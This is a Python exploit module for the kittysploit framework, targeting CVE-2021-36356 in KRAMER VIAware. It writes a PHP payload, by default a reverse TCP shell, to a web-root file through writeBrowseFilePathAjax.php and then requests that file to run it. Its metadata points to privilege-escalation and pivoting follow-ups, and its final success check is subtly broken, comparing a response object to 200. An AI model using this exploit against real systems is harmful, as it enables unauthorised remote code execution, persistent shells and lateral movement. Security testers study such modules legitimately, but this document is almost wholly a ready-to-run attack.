kramer_VIAware RCE

from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
	

	__info__ = {
		'name': "kramer_VIAware RCE",
		'description': "KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary"\
						"code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames",
		'cve': '2021-36356',
		'payload': {
			'default': 'payloads/singles/cmd/php/reverse_tcp',
			'arch': Arch.PHP,
			'category': PayloadCategory.SINGLE,
			},
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
		                               {'capability': 'shell', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
		                             'post/shell/multi/manage/pivot_autoroute']},
		},
		}	

	def run(self):

		headers = {
			"Host": f"{self.target}",
			"Accept": "text/html, */*",
			"Accept-Language": "en-GB,en;q=0.5",
			"Accept-Encoding": "gzip, deflate",
			"Content-Type": "application/x-www-form-urlencoded",
			"X-Requested-With": "XMLHttpRequest",
			"Sec-Fetch-Dest": "empty",
			"Sec-Fetch-Mode": "cors",
			"Sec-Fetch-Site": "same-origin",
			"Sec-Gpc": "1",
			"Te": "trailers",
			"Connection": "close"
		}
  
		filename = self.random_text(10)
		data = {
			"radioBtnVal": f"<?php {self.payload} ?>",
			"associateFileName": f"/var/www/html/{filename}.php"
		}

		r = self.http_request(method="POST",
							path="/ajaxPages/writeBrowseFilePathAjax.php",
							headers=headers,
							data=data,
							verify=False)

		if r:
			pwn = self.http_request(method="GET",
                           		path=f"{filename}.php",
                             	verify=False)
			if pwn != 200:
				self.not_vulnerable()